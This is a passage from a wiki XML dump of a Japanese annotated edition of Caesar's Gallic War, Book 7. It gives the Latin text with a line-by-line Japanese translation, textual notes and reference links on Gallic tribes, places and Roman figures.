**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：カエサルの副官 ''[[w:en:Sulpicia_gens#Sulpicii_Rufi|Publius Sulpicius Rufus]] は、&lt;br&gt;　　　　[[ガリア戦記_第4巻#22節|第4巻22節]]で既述。[[内乱記_第1巻#74節|『内乱記』第1巻74節]]でも言及される。&lt;br&gt;　　　　[[w:紀元前48年|BC48年]]に[[w:プラエトル|法務官]]、[[w:紀元前42年|BC42年]]に[[w:ケンソル|監察官]]に任官する。）&lt;/span&gt;
*[[w:la:Cabillonum|Cavilloni]]&lt;ref&gt;Cavilloni はβ系写本の記述で、α系写本などでは Cabilloni となっている。&lt;/ref&gt; et [[w:la:Matisco|Matiscone]] in Haeduis ad Ararim rei frumentariae causa conlocat. 
**ハエドゥイー族のところのアラル川沿いのカウィッロヌムとマティスコに、糧秣調達のために配置した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カウィッロヌムは現在の[[w:シャロン＝スュル＝ソーヌ|シャロン＝スュル＝ソーヌ]]、マティスコは現在の[[w:マコン|マコン]]。）&lt;/span&gt;
*Ipse [[w:la:Bibracte|Bibracte]] hiemare constituit. 
**（カエサル）自身は、[[w:ビブラクテ|ビブラクテ]]で冬営することを決めた。
*⑧　His litteris&lt;ref&gt;his litteris「これらが書簡により（知られると）」はα系写本の記述で、β系写本では huius anni rebus「この年の事績が（知られると）」と異なっており、huius anni rebus &lt;ex Caesaris&gt; litteris「この年の事績が＜カエサルの＞書簡により（知られると）」 などと修正提案されている。」&lt;/ref&gt; cognitis Romae dierum viginti supplicatio redditur.
**これらが（カエサルの）書簡により知られると、ローマで20日間の感謝祭が許された。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[ガリア戦記 第2巻#35節|第2巻35節]]では、かつてない15日間の感謝祭が決議されたが、今回はそれを超えるものであった。）&lt;/span&gt;
----
*&lt;span style=&quot;background-color:#99ff99;&quot;&gt;「ガリア戦記 第7巻」了。「[[ガリア戦記 第8巻]]」へ続く。&lt;/span&gt;

==脚注==
&lt;references /&gt;
==参考リンク==
'''ウィキペディア英語版など'''
*'''[[w:en:Category:Tribes of ancient Gaul|Category:Tribes of ancient Gaul]]'''（'''[[w:Category:ガリアの部族|Category:ガリアの部族]]'''）- [[w:fr:Catégorie:Personnalité gauloise|fr:Catégorie:Personnalité gauloise]]
**[[w:en:Allobroges|Allobroges]]（アッロブロゲス族）
**'''[[w:en:Arverni|Arverni]]'''（'''[[w:アルウェルニ族|アルウェルニー族]]'''）
**:'''[[w:en:Vercingetorix|Vercingetorix]]'''（'''[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]'''）- '''&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Vercingetorix|la:Vercingetorix]]&lt;/span&gt;'''
**:[[w:fr:Celtillos|fr:Celtillos]]（ケルティッルス）；ウェルキンゲトリークスの父
**:[[w:fr:Gobannitio|fr:Gobannitio]]（ゴバンニティオ）；ウェルキンゲトリークスのおじ
**:[[w:en:Vercassivellaunos|Vercassivellaunos]]（ウェルカッスィウェッラウヌス） - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Vercassivellaunus|la:Vercassivellaunus]]&lt;/span&gt;
**:Critognatus（クリトグナトゥス）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Critognatus|la:Critognatus]]&lt;/span&gt;
**[[w:en:Atrebates|Atrebates]]（アトレバテス族）
**:[[w:en:Commius|Commius]]（[[w:コンミウス|コンミウス]]）：ガッリアとブリタンニアにおけるアトレバテス族の王
**[[w:en:Aedui|Aedui]]（[[w:ハエドゥイ族|ハエドゥイー族]]）- '''&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Haedui|la:Haedui]]&lt;/span&gt;'''；ガッリア中部の有力部族 - [[w:fr:Éduens|fr:Éduens]] ＜[[w:fr:Catégorie:Éduens|fr:Catégorie:Éduens]]
**:[[w:en:Convictolitavis|Convictolitavis]]（コンウィクトリタウィス）- [[w:fr:Convictolitavis|fr:Convictolitavis]]
**:[[w:fr:Cotos|fr:Cotos]]（コトゥス）
**:[[w:fr:Litaviccos|fr:Litaviccos]]（リタウィックス）
**:エポレドリクス - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Eporedorix|la:Eporedorix]]&lt;/span&gt;
**:ウィリドマルス
**[[w:en:Andes (Andecavi)|Andes (Andecavi)]]（アンデス族）；現在の[[w:アンジェ|アンジェ]]（Angers）周辺の部族
**[[w:en:Aulerci|Aulerci]]（アウレルキ族）；現在のフランス北西部に居住していた部族連合
**[[w:en:Bellovaci|Bellovaci]]（ベッロウァキ族）
**[[w:en:Bituriges|Bituriges]]（ビトゥリゲース族）；現在の[[w:ブールジュ|ブールジュ]]（Bourges）周辺の部族。[[#5節|5節]]でガッリア同盟軍に寝返る。
**[[w:en:Boii|Boii]]（ボイイ族）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Boii|la:Boii]]&lt;/span&gt;；[[w:ボヘミア|ボヘミア]]（[[w:la:Bohemia|la:Bohemia]]）から移住してきた部族
**Cadurci（カドゥルキー族）；現在の[[w:カオール|カオール]]（Cahors）周辺の部族 - [[w:fr:Cadurques|fr:Cadurques]]
**:[[w:en:Lucterius|Lucterius]]（ルクテリウス）；カドゥルキー族の指導者、[[#5節|5節]]を参照。
**[[w:en:Carnutes|Carnutes]]（カルヌーテース族）；現在の[[w:シャルトル|シャルトル]]（Chartres）周辺の部族
**[[w:en:Gabali|Gabali]]（ガバリ族）
**Haedui ⇒ Aedui
**[[w:en:Helvii|Helvii]]（ヘルウィイ族）；ガッリア南部にいたローマの同盟部族
**[[w:en:Lemovices|Lemovices]]（レモウィケス族）；現在の[[w:リモージュ|リモージュ]]（Limoges）周辺の部族
**:[[w:en:Sedullos|Sedullos]]（セドゥッルス　Sedullus）；レモウィケス族の将帥・領袖
**[[w:en:Lingones|Lingones]]（リンゴネス族）- [[w:fr:Lingons|fr:Lingons]]；現在のラングル（[[w:en:Langres|Langres]]）周辺の部族
**[[w:en:Mandubii|Mandubii]]（マンドゥビイ族）；[[w:アレシア|アレスィア]]周辺にいた部族
**Nitiobroges（ニティオブロゲス族）- [[w:fr:Nitiobroges|fr:Nitiobroges]]
**:[[w:fr:Ollovico|fr:Ollovico]]（オッロウィコ）；ローマ元老院から友人と呼ばれた王
**:[[w:fr:Teutomatos|fr:Teutomatos]]（テウトマトゥス）；王で、オッロウィコの子
**[[w:en:Parisii (Gaul)|Parisii (Gaul)]]（[[w:パリシイ族|パリスィイ族]]）；現在の[[w:パリ|パリ]]周辺の部族
**[[w:en:Pictones|Pictones]]（ピクトネス族）；現在の[[w:ポワチエ|ポワティエ]]（Poitiers）周辺の部族
**[[w:en:Remi|Remi]]（レーミー族）
**[[w:en:Ruteni|Ruteni]]（ルテーニー族）
**[[w:en:Segusiavi|Segusiavi]]（セグスィアウィ族）
**[[w:en:Senones|Senones]]（セノネース族）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Senones|la:Senones]]&lt;/span&gt;；現在の[[w:サン (ヨンヌ県)|サン]]（Sens）周辺の部族
***[[w:en:Acco|Acco]]（アッコー）
**[[w:en:Sequani|Sequani]]（セクアニ族）
**[[w:en:Treveri|Treveri]]（トレウェリ族）
**[[w:en:Turones|Turones]]（トゥロニ族／トゥロネス族）；現在の[[w:トゥール (アンドル＝エ＝ロワール県)|トゥール]]（Tours）周辺の部族
**[[w:en:Volcae|Volcae]]（ウォルカエ族）
*&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Germani|la:Germani]]&lt;/span&gt;（ゲルマニア人）


*'''ガッリアの地名''' - '''[[w:la:Categoria:Urbes Franciae|la:Categoria:Urbes Franciae]]'''（フランスの都市）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Agedincum|la:Agedincum]]&lt;/span&gt;（アゲディンクム）；現在の[[w:サンス|サンス]]（[[w:en:Sens|Sens]]）
**[[w:en:Alesia_(city)|Alesia (city)]]（[[w:アレシア|アレスィア]]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Alesia|la:Alesia]]&lt;/span&gt;：現在のアリーズ＝サント＝レーヌ（[[w:fr:Alise-Sainte-Reine|fr:Alise-Sainte-Reine]]）
**:'''[[w:en:Battle_of_Alesia|Battle of Alesia]]'''（'''[[w:アレシアの戦い|アレスィアの戦い]]'''）- '''&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Alesiae_pugna|la:Alesiae pugna]]&lt;/span&gt;'''
**[[w:en:Avaricum|Avaricum]] ⇒ [[w:en:Bourges|Bourges]]（アウァーリクム - 現在の[[w:ブールジュ|ブールジュ]]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Avaricum_Biturigum|la:Avaricum Biturigum]]&lt;/span&gt;
**[[w:en:Bibracte|Bibracte]]（[[w:ビブラクテ|ビブラクテ]]） - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Bibracte|la:Bibracte]]&lt;/span&gt;：[[w:ハエドゥイ族|ハエドゥイー族]]の首邑。現在のボーヴレ山（[[w:fr:Mont_Beuvray|fr:Mont Beuvray]]）の山頂に位置していた。
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Cabillonum|la:Cabillonum]]&lt;/span&gt;（カビッロヌム／カウィッロヌム）- 現在の[[w:シャロン＝スュル＝ソーヌ|シャロン＝スュル＝ソーヌ]]（[[w:fr:Chalon-sur-Saône|fr:Chalon-sur-Saône]]）
**[[w:en:Cenabum|Cenabum]]（ケナブム）- 現在の[[w:オルレアン|オルレアン]] - [[w:fr:Cenabum|fr:Cenabum]]
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Decetia|la:Decetia]]&lt;/span&gt;（デケティア）- [[w:en:Decize|en:Decize]] - 現在のドスィーズ（ドシーズ）（[[w:fr:Decize|fr:Decize]]）
**[[w:en:Gergovie|Gergovie]]（ゲルゴウィア）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Gergovia|la:Gergovia]]&lt;/span&gt;
**:'''[[w:en:Battle of Gergovia|Battle of Gergovia]]'''（'''[[w:ゲルゴウィアの戦い|ゲルゴウィアの戦い]]'''）- '''&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Obsidio Gergoviensis|la:Obsidio Gergoviensis]]&lt;/span&gt;'''
**[[w:en:Gorgobina|Gorgobina]]（ゴルゴビナ）；ボイイ族が定住した城塞都市。現在のサン＝パリズ＝ル＝シャテル（[[w:en:Saint-Parize-le-Châtel|Saint-Parize-le-Châtel]]）またはラ・ゲルシュ（[[w:en:La Guerche|La Guerche]]）
**'''[[w:en:Lutetia|Lutetia]]'''（'''[[w:ルテティア|ルテティア]]'''／ルテキア）；[[w:パリシイ族|パリスィイ族]]の首邑、現在の[[w:パリ|パリ市]] - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Lutetia|la:Lutetia]]&lt;/span&gt;
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Matisco|la:Matisco]]&lt;/span&gt;（マティスコ）；現在の[[w:マコン|マコン]]（Mâcon）
**Metlosenum（メトロセドゥム／メティオセドゥム／メロドゥーヌム）；現在の[[w:ムラン|ムラン]] - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Melodunum|la:Melodunum]]&lt;/span&gt;
**[[w:en:Narbonne|Narbonne]]（[[w:ナルボンヌ|ナルボンヌ]]；ラテン名ナルボ）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Narbo|la:Narbo]]&lt;/span&gt;；ガッリア南部・地中海岸のローマの拠点
**[[w:en:Noviodunum|Noviodunum]]（ノウィオドゥーヌム）- 現在のヌン＝スュル＝ブーヴロン（[[w:en:Neung-sur-Beuvron|Neung-sur-Beuvron]]）と推定されている。従来はローヌ川沿いの[[w:サンセール|サンセール]]（[[w:en:Sancerre|Sancerre]]）が有力だった
**[[w:en:Vellaunodunum|Vellaunodunum]]（ウェッラウノドゥーヌム）- [[w:fr:Vellaunodunum|fr:Vellaunodunum]]；現在のモンタルジ（[[w:en:Montargis|Montargis]]）やボーヌ＝ラ＝ロランド（[[w:en:Beaune-la-Rolande|Beaune-la-Rolande]]）、シャトー＝ランドン（[[w:en:Château-Landon|Château-Landon]]）などと推定されている
**[[w:en:Vienne, Isère|Vienne, Isère]]（ヴィエンヌ；ラテン名ウィエンナ）- [[w:la:Vienna|la:Vienna]]
*'''ガッリアの地形'''
**Cevenna（ケウェンナ山地）：現在のセヴェンヌ山地（[[w:fr:Cévennes|fr:Cévennes]]・[[w:en:Cévennes|Cévennes]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Elaver|la:Elaver]]&lt;/span&gt;（エラウェル川）：現在の[[w:アリエ川|アリエ川]]（[[w:fr:Allier (rivière)|fr:Allier (rivière)]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Liger|la:Liger]]&lt;/span&gt;（リゲル川）：現在の[[w:ロワール川|ロワール川]]（[[w:fr:Loire (fleuve)|fr:Loire (fleuve)]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Rhenus|la:Rhenus]]&lt;/span&gt;（レヌス川）：現在の[[w:ライン川|ライン川]]（[[w:fr:Rhin|fr:Rhin]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Rhodanus|la:Rhodanus]]&lt;/span&gt;（ロダヌス川）：現在の[[w:ローヌ川|ローヌ川]]（[[w:fr:Rhône|fr:Rhône]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Sequana|la:Sequana]]&lt;/span&gt;（セクアナ川）：現在の[[w:セーヌ川|セーヌ川]]（[[w:fr:Seine|fr:Seine]]）

*ローマ勢
**[[w:en:Mark_Antony|Mark Antony]]（[[w:マルクス・アントニウス|マルクス・'''アントニウス''']]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Marcus_Antonius|la:Marcus Antonius]]&lt;/span&gt;
**[[w:en:Decimus_Junius_Brutus_Albinus|Decimus Junius '''Brutus''' Albinus]]（[[w:デキムス・ユニウス・ブルトゥス・アルビヌス|デキムス・ユニウス・'''ブルトゥス'''・アルビヌス]]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Decimus_Iunius_Brutus_Albinus|Decimus Iunius Brutus Albinus]]&lt;/span&gt;（[[#9節|9節]]）
**[[w:en:Quintus Tullius Cicero|Quintus Tullius '''Cicero''']]（[[w:クィントゥス・トゥッリウス・キケロ|クィントゥス・トゥッリウス・'''キケロ''']]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Quintus Tullius Cicero|la:Quintus Tullius Cicero]]&lt;/span&gt;：カエサルの副官
**Gaius '''Fabius'''（ガイウス・'''ファビウス'''）：カエサルの副官
**[[w:en:Titus Labienus|Titus '''Labienus''']]（[[w:ティトゥス・ラビエヌス|ティトゥス・'''ラビエーヌス''']]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Titus Labienus|la:Titus Labienus]]&lt;/span&gt;：カエサルの副官
**[[w:en:Trebonius|'''Trebonius''']]（[[w:ガイウス・トレボニウス|ガイウス・'''トレボニウス''']]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Gaius_Trebonius|la:Gaius Trebonius]]&lt;/span&gt;：カエサルの副官
**[[w:en:Lucius Julius Caesar IV|Lucius Julius '''Caesar''' IV]]（ルキウス・ユリウス・'''カエサル'''4世）：総督カエサルの副官で、4代前の高祖父を共有する。BC64年に執政官を務めた。

*イタリア方面
**[[w:en:Cisalpine_Gaul|Cisalpine Gaul]]（[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]） - [[w:la:Gallia Cisalpina|la:Gallia Cisalpina]]
**[[w:en:Populares|Populares]]（[[w:ポプラレス|ポプラレス]]；民衆派）- [[w:la:Populares|la:Populares]]
**:[[w:en:Publius_Clodius_Pulcher|Publius Clodius Pulcher]]（[[w:プブリウス・クロディウス・プルケル|プブリウス・クロディウス・プルケル]]） - [[w:la:Publius_Clodius_Pulcher|la:Publius Clodius Pulcher]]
**[[w:en:Optimates|Optimates]]（[[w:オプティマテス|オプティマテス]]；元老院派）
**:[[w:en:Cicero|Cicero]]（[[w:マルクス・トゥッリウス・キケロ|マルクス・トゥッリウス・キケロ]]）- [[w:la:Marcus_Tullius_Cicero|la:Marcus Tullius Cicero]]
**:[[w:en:Titus_Annius_Milo|Titus Annius Milo]]（ティトゥス・アンニウス・ミロ）- [[w:la:Titus_Annius_Milo|la:Titus Annius Milo]]
**:[[w:en:Pompey|Pompey]]（[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]）- [[w:la:Gnaeus_Pompeius_Magnus|la:Gnaeus Pompeius Magnus]]</text>
      <sha1>ot6zdqqzj3gkwx93kbbn4a9n6mprzgm</sha1>
    </revision>
    <revision>
      <id>305270</id>
      <parentid>305268</parentid>
      <timestamp>2026-11-01T10:12:39Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <minor />
      <comment>/* 36節 */ 修整</comment>
      <origin>305270</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="562917" sha1="ei5zstkuavz26mjv8ftyltg6eldi3ui" xml:space="preserve">[[Category:ガリア戦記|7]] [[Category:ガリア戦記 第7巻|*]]
[[ガリア戦記]]＞&amp;nbsp;'''第7巻'''&amp;nbsp;＞[[ガリア戦記 第7巻/注解|注解]]
&lt;div style=&quot;text-align:center&quot;&gt;
&lt;span style=&quot;font-size:20px; font-weight:bold; font-variant-caps: petite-caps; color:white; background: rgb(47,94,255);background: linear-gradient(180deg, rgba(47,94,255,1) 0%, rgba(24,56,255,1) 50%, rgba(0,8,255,1) 100%);&quot;&gt;&amp;nbsp;C&amp;nbsp;IVLII&amp;nbsp;CAESARIS&amp;nbsp;COMMENTARIORVM&amp;nbsp;BELLI&amp;nbsp;GALLICI&amp;nbsp;&lt;/span&gt;

&lt;span style=&quot;font-size:40px; font-weight:bold; color:white; background: rgb(47,94,255);background: linear-gradient(180deg, rgba(47,94,255,1) 0%, rgba(24,56,255,1) 50%, rgba(0,8,255,1) 100%);&quot;&gt;&amp;nbsp;LIBER SEPTIMVS&amp;nbsp;&lt;/span&gt;
&lt;/div&gt;
[[画像:Gaule -52.png|thumb|right|150px|ガリア戦記 第7巻の情勢図（BC52年）。&lt;br&gt;黄色の領域がローマ領。桃色が同盟部族領。]]

{| id=&quot;toc&quot; style=&quot;align:left;clear:all;&quot; align=&quot;left&quot; cellpadding=&quot;5&quot;
! style=&quot;background:#ccccff; text-align:left;&quot; colspan=&quot;2&quot; | ガリア戦記 第7巻 目次
|-
| style=&quot;text-align:right; font-size: 0.86em;&quot;|
'''[[#カルヌーテース族の蜂起|カルヌーテース族の蜂起]]''':&lt;br /&gt;
'''[[#ウェルキンゲトリークスとガッリア同盟軍の蜂起|ウェルキンゲトリークスとガッリア同盟軍の蜂起]]''':&lt;br /&gt;
&lt;br /&gt;
'''[[#アウァーリクム攻略戦|アウァーリクム攻略戦]]''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[#ゲルゴウィア攻略戦、ハエドゥイー族の離反|ゲルゴウィア攻略戦、ハエドゥイー族の離反]]''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[#ラビエーヌスのルテティア遠征|ラビエーヌスのルテティア遠征]]''':&lt;br /&gt;
'''[[#ガッリア戦乱の拡大|ガッリア戦乱の拡大]]''':&lt;br /&gt;
'''[[#アレスィア攻囲戦|アレスィア攻囲戦]]''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[#ガッリア同盟軍主力の降伏|ガッリア同盟軍主力の降伏]]''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
| style=&quot;text-align:left; font-size: 0.86em;&quot;| 
[[#1節|01節]] |
[[#2節|02節]] |
[[#3節|03節]] &lt;br /&gt;
[[#4節|04節]] |
[[#5節|05節]] |
[[#6節|06節]] |
[[#7節|07節]] |
[[#8節|08節]] |
[[#9節|09節]] |
[[#10節|10節]] &lt;br /&gt;
[[#11節|11節]] |
[[#12節|12節]] |
[[#13節|13節]] &lt;br /&gt;
[[#14節|14節]] |
[[#15節|15節]] |
[[#16節|16節]] |
[[#17節|17節]] |
[[#18節|18節]] |
[[#19節|19節]] |
[[#20節|20節]] &lt;br /&gt;
[[#21節|21節]] |
[[#22節|22節]] |
[[#23節|23節]] |
[[#24節|24節]] |
[[#25節|25節]] |
[[#26節|26節]] |
[[#27節|27節]] |
[[#28節|28節]] |
[[#29節|29節]] |
[[#30節|30節]] &lt;br /&gt;
[[#31節|31節]] &lt;br /&gt;
[[#32節|32節]] |
[[#33節|33節]] |
[[#34節|34節]] |
[[#35節|35節]] |
[[#36節|36節]] |
[[#37節|37節]] |
[[#38節|38節]] |
[[#39節|39節]] |
[[#40節|40節]] &lt;br /&gt;
[[#41節|41節]] |
[[#42節|42節]] |
[[#43節|43節]] |
[[#44節|44節]] |
[[#45節|45節]] |
[[#46節|46節]] |
[[#47節|47節]] |
[[#48節|48節]] |
[[#49節|49節]] |
[[#50節|50節]] &lt;br /&gt;
[[#51節|51節]] |
[[#52節|52節]] |
[[#53節|53節]] |
[[#54節|54節]] |
[[#55節|55節]] |
[[#56節|56節]] &lt;br /&gt;
[[#57節|57節]] |
[[#58節|58節]] |
[[#59節|59節]] |
[[#60節|60節]] |
[[#61節|61節]] |
[[#62節|62節]] &lt;br /&gt;
[[#63節|63節]] |
[[#64節|64節]] |
[[#65節|65節]] |
[[#66節|66節]] |
[[#67節|67節]] &lt;br /&gt;
[[#68節|68節]] |
[[#69節|69節]] |
[[#70節|70節]] &lt;br /&gt;
[[#71節|71節]] |
[[#72節|72節]] |
[[#73節|73節]] |
[[#74節|74節]] |
[[#75節|75節]] |
[[#76節|76節]] |
[[#77節|77節]] |
[[#78節|78節]] |
[[#79節|79節]] |
[[#80節|80節]] &lt;br /&gt;
[[#81節|81節]] |
[[#82節|82節]] |
[[#83節|83節]] |
[[#84節|84節]] |
[[#85節|85節]] |
[[#86節|86節]] |
[[#87節|87節]] |
[[#88節|88節]] &lt;br /&gt;
[[#89節|89節]] |
[[#90節|90節]] &lt;br /&gt;
[[#脚注|脚注]]&lt;br /&gt;
[[#参考リンク|参考リンク]]&lt;br /&gt;
|}
&lt;br style=&quot;clear:both;&quot; /&gt;
__notoc__

==カルヌーテース族の蜂起==
===1節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/1節]]　{{進捗|00%|2025-10-26}}&lt;/span&gt;
[[画像:Maccari-Cicero.jpg|thumb|right|250px|[[w:カティリナ弾劾演説|カティリーナ弾劾演説]]をする[[w:マルクス・トゥッリウス・キケロ|キケロー]](左中央)（チェザレ・マッカリによる19世紀のフレスコ画）。[[w:プブリウス・クロディウス・プルケル|クローディウス]]はこれを越権行為であるとして、カエサルの政敵となっていたキケローを一時的に亡命へ追い込み、ついにはキケローの友人ミローの配下によって殺害された。]]
[[画像:Pompei_Magnus_Antiquarium.jpg|thumb|right|250px|[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]の胸像。クローディウス殺害に伴う騒乱を収拾するべく、[[w:元老院|元老院]]によりポンペイウスが単独の[[w:執政官|執政官]]に選出され、首都ローマと本土イタリアを制圧した。一方、カエサルも属州で新たに徴兵して兵力を増した。元老院派はカエサルの勢力が強大になることを恐れて、カエサル自身から将兵を取り上げて召還すべきと主張したが、ポンペイウスは不和を避けて宥和を図った。]]
:　
;首都ローマの政情不安、ガッリア人領袖たちの謀計
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:quietus#Latin|Quieta]] [[wikt:en:Gallia#Latin|Gallia]], 
**[[w:ガリア|ガッリア]]が鎮定されると、
*Caesar, ut [[wikt:en:constituerat|constituerat]], 
**カエサルは、定めていたように、
*in [[wikt:en:Italia#Latin|Italiam]] ad [[wikt:en:conventus#Noun|conventus]] [[wikt:en:agendus#Latin|agendos]] [[wikt:en:proficiscitur|proficiscitur]]. 
**イタリアに、巡回裁判を行なうために出発する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ここでいうイタリアとは、カエサルの属州であった&lt;br&gt;　　　　[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]を指す。&lt;br&gt;　　　　カエサルは、巡回裁判を除けば、おもに[[w:ラヴェンナ|ラウェンナ]]に&lt;br&gt;　　　　滞在していたと考えられる。[[内乱記_第1巻#5節|『内乱記』第1巻5節]]を参照。）&lt;/span&gt;
:　
*[[wikt:en:ibi#Latin|Ibi]] [[wikt:en:cognoscit|cognoscit]] de &amp;lt;P.&amp;gt; [[wikt:en:Clodius#Latin|Clodii]] [[wikt:en:caedes#Latin|caede]], 
**そこで[[w:プブリウス・クロディウス・プルケル|プーブリウス・クローディウス]]の殺害について知って、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：クローディウスは護民官を務めた&lt;ruby&gt;&lt;rb&gt;[[w:ポプラレス|民衆派]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ポプラレス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; の政治家で、&lt;br&gt;　　　　カエサルから恩義を受けていた。&lt;br&gt;　　　　　かの弁論家[[w:マルクス・トゥッリウス・キケロ|キケロー]]やその友人ティトゥス・ミロー [[w:la:Titus_Annius_Milo|Milo]] ら&lt;br&gt;　　　　&lt;ruby&gt;&lt;rb&gt;[[w:オプティマテス|元老院派]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オプティマテス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; と激しく対立し、ミローの配下によって殺害された。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&amp;lt;P.&amp;gt; ([[wikt:en:Publius#Latin|Publii]]) 「プーブリウスの」は &amp;rho;系写本にのみ記されている。）&lt;/span&gt;
*&amp;lt;de&amp;gt; &lt;u&gt;senatus&lt;/u&gt;que &lt;u&gt;consulto&lt;/u&gt; [[wikt:en:certior#Latin|certior]] [[wikt:en:factus#Participle|factus]], ut omnes [[wikt:en:iunior#Latin|iuniores]] Italiae [[wikt:en:coniurarent|coniurarent]], 
**イタリアの全青年に&lt;small&gt;（新兵として）&lt;/small&gt;宣誓するようにとの元老院決議について知らされて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：この事態を収拾すべく元老院派の[[w:グナエウス・ポンペイウス|ポンペイウス]]が単独の執政官&lt;br&gt;　　　　（''[[w:de:Consul sine collega|consul sine collega]]''）に選任されて本土イタリアを掌握した。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&amp;lt;de&amp;gt; は現存する写本にはなく、近世以降に挿入提案されたもの。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&amp;nbsp;　[[wikt:en:senatus_consultum#Latin|senātūs cōnsultum]] ([[wikt:en:ultimus#Latin|ultimum]]) 「[[w:セナトゥス・コンスルトゥム・ウルティムム|元老院(の最終)決議]]」&lt;br&gt;　　　； dē [[wikt:en:senatus_consulto#Latin|senātūs cōnsultō]] 「元老院決議について」）&lt;/span&gt;
*&lt;u&gt;dilectum&lt;/u&gt; [[wikt:en:totus#Latin|tota]] [[wikt:en:provincia#Latin|provincia]] habere [[wikt:en:instituo#Latin|instituit]]. 
**&lt;small&gt;（カエサルは）&lt;/small&gt;属州&lt;small&gt;〔ガッリア・キサルピーナ〕&lt;/small&gt;全体での徴集をすることを決定する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:dilectus#Noun|dilectum]] は、[[wikt:en:delectus#Noun_2|delectum]] と表記している校訂版もある。）&lt;/span&gt;
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Eae res in Galliam [[wikt:en:transalpinus#Latin|Transalpinam]] celeriter [[wikt:en:perferuntur|perferuntur]]. 
**その状況は、[[w:ガリア・ナルボネンシス|ガッリア・トラーンサルピーナ]]&lt;small&gt;〔アルプスの向こう側のガッリア〕&lt;/small&gt;に速やかに報知された。
:　
*[[wikt:en:addunt|Addunt]] ipsi et [[wikt:en:adfingunt|adfingunt]] [[wikt:en:rumor#Latin|rumoribus]] [[wikt:en:Galli#Latin|Galli]], 
**[[w:ガリア人|ガッリア人]]たち自身が風評に想像して付け加えたのは、
*quod res [[wikt:en:poscere|poscere]] [[wikt:en:videbatur|videbatur]]: 
**事態が要求すると思われていたことで、
*[[wikt:en:retineri|retineri]] &lt;u&gt;urbano&lt;/u&gt; [[wikt:en:motus#Noun_2|motu]] Caesarem 
**カエサルは、都&lt;small&gt;〔[[w:ローマ|ローマ市]]〕&lt;/small&gt;の騒乱に束縛されて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:urbanus#Adjective|urbānus]] は「都市の」「都会の」と訳されるが、&lt;br&gt;　　　　とりわけ「首都[[w:ローマ|ローマ市]]の」を意味する。）&lt;/span&gt;
